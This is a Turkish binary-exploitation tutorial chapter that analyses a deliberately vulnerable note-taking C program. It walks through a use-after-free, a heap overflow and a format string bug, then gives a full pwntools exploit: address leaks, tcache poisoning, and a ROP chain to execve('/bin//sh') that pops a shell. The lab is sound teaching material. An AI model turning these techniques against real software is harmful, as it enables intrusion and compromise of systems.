Bu bölümde hedefimiz, programın akışını değiştirerek bir shell çalıştırmak olacak.
Yeni programın kaynak koduna baktığımızda, şuana kadarki en uzun program olduğunu görüyoruz. Ama bunun sizi korkutmasına izin vermeyin.
Basitçe göz gezdirdiğinizde, bu program bir çeşit not applikasyonu, bize bir not ekleme/değiştirme, okuma ve silme özelliği sunuyor:
int print_menu() {
int opt = 0;
puts("==== Secure Notes ====");
puts("1. Add/edit a note");
puts("2. Read a note");
puts("3. Delete a note");
puts("4. Quit");
printf("Please select an option: ");
scanf("%d", &opt);
return opt;
}
...
int main() {
int opt = 0;
while (1) {
switch (opt = print_menu()) {
case OPTS_EDIT:
opt_edit();
break;
case OPTS_READ:
opt_read();
break;
case OPTS_DEL:
opt_del();
break;
case OPTS_EXIT:
return 0;
default:
printf("Invalid option: %d\n", opt);
break;
}
}
}
Her opsiyonun kendisine ait bir fonksiyonu mevcut.
Aynı zamanda bu programda birden fazla hata mevcut, ilk olarak bir UAF (use-after-free) söz konusu:
void opt_del() {
int i = 0;
if ((i = note_get(NULL)) < 0)
return;
free(notes[i]);
}
Bir not silindikten sonra, not için ayrılan bellek alanı serbest bırakılıyor, ancak bu bellek alanına işaret eden pointer NULL
olarak
değiştirilmediğinden, tekrar aynı notu editlemek istediğimiz zaman, aynı bellek alanına yazıyoruz:
void opt_edit() {
int i = 0;
if ((i = note_get(NULL)) < 0)
return;
if (NULL == notes[i])
notes[i] = malloc(NOTE_SIZE);
puts("Please enter your note");
scanf("%s", notes[i]);
}
Burda if (NULL == notes[i])
başarısız olacağından, dediğim gibi aynı, serbest bırakılan bellek alanı kullanılacak. Cebimizde bir UAF var, ama
gördüğünüz gibi burda hatalı bir scanf()
kullanımından kaynaklı bir heap overflow (heap OOB write) da söz konusu.
Son olarak okuma fonksiyonuna bakarsak:
void opt_read() {
char *note = NULL;
if (note_get(¬e) < 0)
return;
puts("----------------------");
printf(note);
puts("\n----------------------");
}
Burda ise, hatalı printf(note)
çağrısı yüzünden bir format string zafiyeti var.
Zafiyetleri bulduğumuza göre, hadi programın nasıl derlendiğine bakalım (Makefile
):
gcc -fstack-protector-all -static-pie -o $@ $^
Derleme şekli 0x5
ile aynı. Ancak -fstack-protector
yerine -fstack-protector-all
kullanılmış. Bu iki flag'in farkı
bu wikipedia sayfasında güzelce açıklanmış:
From 2001 to 2005, IBM developed GCC patches for stack-smashing protection, known as ProPolice. It improved on the idea of StackGuard by placing buffers after local pointers and function arguments in the stack frame. This helped avoid the corruption of pointers, preventing access to arbitrary memory locations.
Red Hat engineers identified problems with ProPolice though, and in 2005 re-implemented stack-smashing protection for inclusion in GCC 4.1. This work introduced the -fstack-protector flag, which protects only some vulnerable functions, and the -fstack-protector-all flag, which protects all functions whether they need it or not.
Basitçe, Red Hat'in stack-smashing korumasını tekrar implemente etmesi sonucu eklenen -fstack-protector-all
flag'i, tüm fonksiyonlara stack protector'a
yani çereze ihtiyaçları olsa da olmasa da bu çerez korumasını ekliyor.
Hadi ilk olarak elimizde olanları toplayarak exploit'imizi planlayalım. Elimizde bir UAF, bir heap overflow ve bir format string zafiyeti var. Önceki bölümden
hatırlarsanız, tcache'yi zehirleyerek malloc()
un bir stack adresi döndürmesini başarmıştık. Aynısını burda da yapabiliriz. Ardından heap overflow, stack overflow'a
dönmüş olur ve 0x5
yaptığımız gibi ROP ile shell alabiliriz.
Hadi bize gerekenleri ve bunları nasıl toplayabileceğimizi düşünelim:
- Bir tcache olan chunk'ın
next
pointerını modifiye etmek, bunu UAF ile yapabiliriz. next
pointer'ını modifiye edebilmek için, modifiye ediceğimiz chunk'ın adresini leaklemek (PROTECT_PTR
ı hatırlayın), bunu yapmak için format string zafiyetini kullanabiliriz, sonuçtaopt_read
, note'un adresini stack'de tutuyor.- Stack adresini almak, yeni bir not oluşturarak tcache'ye yerleştirdiğimiz stack adresini ele geçirebiliriz.
- Stack adresine yazmak, bunu da
scanf()
overflow'u aracılığı ile yapabiliriz. - ROP ile shell almak, bunun için binary'nin base adresi gerecek, bunu da
opt_read
deki format string zafiyeti ile leaklediğimiz bir adresten offset alarak elde edebiliriz
GDB ile programı (ASLR test aşamasında kapalı kalabilir) çalıştırıp yeni bir not oluşturup, opt_read
e dönüşe bir breakpoint koyup,
format string zafiyetini kullanarak stack'i leakleyelim
...
(gdb) r
Starting program: /root/0x7/0x7.elf
==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: 1
Please enter the number of the node: 1
Please enter your note
%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p,%p
==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: 2
Please enter the number of the node: 1
----------------------
0x1,0x1,0x7ffff7f73620,0x2,0x7ffff7ff7520,0x7ffff8000ef0,0x8bce0fac60139600,0x7fffffffe340,0x7ffff7f33ad8,0x200003ae8,0x8bce0fac60139600,0x7ffff7ff3530,0x7ffff7f33e54,0x3ae8,0x7ffff7f33a71,0x100000018,0x7fffffffe508,0x7fffffffe518,0x8c5a9
9991f3e5197,0x1,0x7fffffffe508,0x1,0x1,0x8c5a8998b3fe5197,0x8c5a998109405197,(nil),(nil),(nil),0x7ffff7f75433,(nil),(nil),0x1,0x7ffff7f35550,(nil),0x7fffffffe4a0,0xc00000,0x200000,0x8000
----------------------
Breakpoint 3, 0x00007ffff7f33a06 in opt_read ()
(gdb) x/10gx $rsp
0x7fffffffe328: 0x00007ffff7f33ad8 0x0000000200003ae8
0x7fffffffe338: 0x8bce0fac60139600 0x00007ffff7ff3530
0x7fffffffe348: 0x00007ffff7f33e54 0x0000000000003ae8
0x7fffffffe358: 0x00007ffff7f33a71 0x0000000100000018
0x7fffffffe368: 0x00007fffffffe508 0x00007fffffffe518
(gdb) info proc mappings
process 55513
Mapped address spaces:
Start Addr End Addr Size Offset Perms objfile
0x7ffff7f24000 0x7ffff7f28000 0x4000 0x0 r--p [vvar]
0x7ffff7f28000 0x7ffff7f2a000 0x2000 0x0 r-xp [vdso]
0x7ffff7f2a000 0x7ffff7f33000 0x9000 0x0 r--p /root/0x7/0x7.elf
0x7ffff7f33000 0x7ffff7fc8000 0x95000 0x9000 r-xp /root/0x7/0x7.elf
0x7ffff7fc8000 0x7ffff7ff3000 0x2b000 0x9e000 r--p /root/0x7/0x7.elf
0x7ffff7ff3000 0x7ffff7ff7000 0x4000 0xc9000 r--p /root/0x7/0x7.elf
0x7ffff7ff7000 0x7ffff7ffa000 0x3000 0xcd000 rw-p /root/0x7/0x7.elf
...
İlk olarak gözüme çarpan adres 0x7ffff7ff7520
, 5. pozisyonda, bu adres gördüğünüz gibi doğrudan dosyadan yüklenmiş (0x7ffff7ff7000-0x7ffff7ffa000
aralığında),
base ile arasında 0x7ffff7ff7520-0x7ffff7f2a000
hesabından 0xcd520
offset var. İkinci dikkat çeken adres, 6. pozisyonda 0x7ffff8000ef0
, bu bir heap adresi.
Eğer notes
listesine bakarsak:
(gdb) x/10gx ¬es
0x7ffff7ff92c0 <notes>: 0x00007ffff8000ef0 0x0000000000000000
0x7ffff7ff92d0 <notes+16>: 0x0000000000000000 0x0000000000000000
0x7ffff7ff92e0 <notes+32>: 0x0000000000000000 0x0000000000000000
0x7ffff7ff92f0 <notes+48>: 0x0000000000000000 0x0000000000000000
0x7ffff7ff9300 <notes+64>: 0x0000000000000000 0x0000000000000000
Bu özünde allocate ettiğimiz bu yeni notun adresi. Son olarak 8. pozisyonda 0x7fffffffe340
bir stack adresi. Bu adres main()
in __libc_start_call_main
içindeki
dönüş adresinden 8 byte önce geliyor:
(gdb) x/10gx 0x7fffffffe340
0x7fffffffe340: 0x00007ffff7ff3530 0x00007ffff7f33e54
0x7fffffffe350: 0x0000000000003ae8 0x00007ffff7f33a71
0x7fffffffe360: 0x0000000100000018 0x00007fffffffe508
0x7fffffffe370: 0x00007fffffffe518 0x8c5a99991f3e5197
0x7fffffffe380: 0x0000000000000001 0x00007fffffffe508
Bu harika çünkü bu adresi kullanırsak, 7. pozisyondaki stack çerezini leakleyip doğru yere yerleştirmek ile endişlenmek zorunda kalmayız. Çünkü yazıcağımız nokta stack çerezinden önce (mantıksal olarak önce, adres olarak sonra) geliyor.
Tamam, o zaman leaklemek istediğimiz pozisyonlar 5, 6 ve 8, bunu %5$p,%6$p,%8$p
payload'ı ile yapabiliriz.
İlk adresden 0xCD520
çıkarıp ELF'in base adresini hesaplayacağız. İkinci adresi, chunk'ın next
adresini hesaplamak için kullancağız. Üçüncü adresi sıradaki stack adresi,
next
in işaret ettiği adres olacak. Bu adresin 16 byte hizalı olması önemli, çünkü hatırlarsanız glibc kaynağında malloc/malloc.c
de gördüğümüz gibi tcache'den entry almada
kullanılan fonksiyon her zaman sıradaki entry'nin hizalı olduğundan emin olumayı seviyor:
/* Caller must ensure that we know tc_idx is valid and there's
available chunks to remove. Removes chunk from the middle of the
list. */
static __always_inline void *
tcache_get_n (size_t tc_idx, tcache_entry **ep)
{
tcache_entry *e;
if (ep == &(tcache->entries[tc_idx]))
e = *ep;
else
e = REVEAL_PTR (*ep);
if (__glibc_unlikely (!aligned_OK (e)))
malloc_printerr ("malloc(): unaligned tcache chunk detected");
Eğer bu 16 hizalı bir adres olmasaydı, çıkarma/ekleme yaparak uygun bir hizaya getirirdik, yani bu hiza söz konusu olmasa bile ciddi bir sorun olmazdı.
Öncellikle, tcache'in iki tane chunk'a sahip olduğunu düşünmesi lazım, doğrudan tek bir chunk allocate edip, free'leyip next
i modifye edersek, tcache'nin counts
listesi
1 değerine sahip olacağından, yaptığımız sıradaki allocation'lar stack adresini döndürmeyecektir.
Bunun için en az iki nota ihtiyacımız var. Ardından notlardan next
pointer'ını modifiye edeceğimiz not, son sırada olacak şekilde notları silerek free()
leyeceğiz.
Bu durumda tcache aşağıdaki duruma sahip olacaktır:
ilk not -> ikinci not
Sonra UAF'yi kullanarak bu next
adresini modifye ediceğimiz notu editleyip, PROTECT_PTR
ile hesapladığımız stack adresini yazacağız. next
pointerı artık modifiye
edildiğinden, tcache'in durumu şuana dönüşecektir:
ilk not -> stack adresi
Şimdi iki not daha oluşturursak, ikinci notun malloc()
çağrısı ile alacağı adres stack adresi olacaktır.
Bu noktada sonra, stack adresine sahip yeni notu editleyip, doğrudan ROP payloadımızı nota yerleştirebiliriz. Stacka adresi dönüş adresinden 8 byte önce geldiğinden,
önce 8 byte'lık bir padding'imiz olacak. Ardından ROP için pwntools'un ROP()
özelliğini kullanacağım, doğrudan ROP adreslerini bulup döndürmek için bir fonksiyon yazdım:
def find(gadget):
found = rop.find_gadget(gadget)
if found == None:
error(f"Gadget not found: {gadget}")
return p64(found.address)
Fakat bazı gadget'ları 0x5
de yaptığımız gibi ropper
ile bulmamız gerekecek. Bunun dışında kullanacağımız ROP 0x5
deki ROP ile birebir aynı, yine ret2sys
ile execve()
sistem çağrısını çağıracağız.
Bu noktadan sonra, main()
in dönüş adresi modifiye edilmiş olacaktır. Tek yapmamız gereken programın bize sunduğu 4. opsiyon (OPTS_EXIT
) ile main()
den
dönüş yapmak olacaktır.
Hadi şimdi tüm parçaları birer birer oluşturup, en sonunda birleştirelim, ilk importlarımız ve find()
fonksiyonumuz var (rop
daha sonra,
find()
çağrılmadan tanımlanacak):
from pwn import *
context.update(arch="amd64", os="linux")
elf = context.binary = ELF("./0x7.elf")
p = process("./0x7.elf")
def find(gadget):
found = rop.find_gadget(gadget)
if found == None:
error(f"Gadget not found: {gadget}")
return p64(found.address)
Ardından PROTECT_PTR
ın yapacağını yapacak bir fonskiyonumuz var:
def protect(addr, ptr):
return (addr >> 12) ^ ptr
Ve programın bize sunduğu her opsiyon için bir fonksiyon:
def edit(i, data):
p.sendline(b"1")
p.sendline(b"%d" % i)
p.sendline(data)
def read(i):
p.sendline(b"2")
p.sendline(b"%d" % i)
p.recvuntil(b"--")
p.recvline()
data = p.recvline()
data = data[:-1]
p.recvline()
return data
def delete(i):
p.sendline(b"3")
p.sendline(b"%d" % i)
Bize tcache'yi zehirlemek için gereken iki notu oluşturalım:
edit(1, b"%5$p,%6$p,%8$p")
edit(2, b"empty")
Gördüğünüz gibi, ilk notu aynı zamanda format string zafiyeti ile istediğimiz adresleri leak'lemek için kullanıyoruz:
leaks = read(1).split(b",")
addr_leak = int(leaks[0], 16)
heap_leak = int(leaks[1], 16)
stack_leak = int(leaks[2], 16)
elf.address = addr_leak - 0xcd520
stack_ptr = protect(heap_leak, stack_leak)
info("Got base address: 0x%x" % elf.address)
info("Got stack address: 0x%x" % stack_leak)
info("Got note 1 heap address: 0x%x" % heap_leak)
Şimdi iki notu da serbest bırakalım:
delete(2) # tcache: 2
delete(1) # tcache: 1 -> 2
Artık ilk notun tcache entry'sinin next
pointer'ını modifiye edebiliriz:
edit(1, p64(stack_ptr)) # tcache: 1 -> stack_leak
Şimdi payload'ı oluşturma zamanı:
rop = ROP(elf)
payload = p64(0) # padding
payload += find(["pop rdx", "pop rbx", "ret"]) # pop rdx; pop rbx; ret;
payload += p64(0) # rdx
payload += p64(0) # rbx
payload += find(["pop rsi", "ret"]) # pop rsi; ret;
payload += p64(0) # rsi
payload += find(["pop rdi", "ret"]) # pop rdi; ret;
payload += p64(elf.bss()) # rdi
payload += p64(elf.address + 0x41b06) # pop rcx; tzcnt eax, eax; ret;
payload += b"/bin//sh" # rcx
payload += p64(elf.address + 0x41466) # mov qword ptr [rdi], rcx; ret;
payload += find(["pop rdi", "ret"]) # pop rdi; ret;
payload += p64(elf.bss()) # rdi
payload += find(["pop rax", "ret"]) # pop rax; ret;
payload += p64(59) # rax
payload += find(["syscall"])
Şimdi ilk oluşturacağımız not, 1. not ile aynı chunk'ı kullanacak, ve ikinci notumuz stack pointer'ını kullanacak:
edit(3, b"empty") # tcache: stack_leak
edit(4, payload)
Son olarak programdan 4. opsiyon ile çıkış yaparsak, ROP'umuz çalışacak ve bir shell alacağız:
p.sendline(b"4") # quit
p.interactive()
p.close()
Son exploit biraz uzun olduğundan tek parça halinde buraya eklemeyeceğim, ama src/solves/0x7.py dosyasında tüm exploiti tek parça halinde bulabilirsiniz.
Şimdi deneme zamanı:
root@o101:~/0x7# python3 solve.py
[!] Did not find any GOT entries
[*] '/root/0x7/0x7.elf'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './0x7.elf': pid 57075
[*] Got base address: 0x7f6147978000
[*] Got stack pointer: 0x7fff0855ca20
[*] Got note 1 heap address: 0x555575d0eaf0
[*] Loaded 121 cached gadgets for './0x7.elf'
[*] Switching to interactive mode
==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: Please enter the number of the node: ==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: Please enter the number of the node: ==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: Please enter the number of the node: Please enter your note
==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: Please enter the number of the node: Please enter your note
==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
Please select an option: Please enter the number of the node: Please enter your note
==== Secure Notes ====
1. Add/edit a note
2. Read a note
3. Delete a note
4. Quit
$ id
uid=0(root) gid=0(root) groups=0(root)
$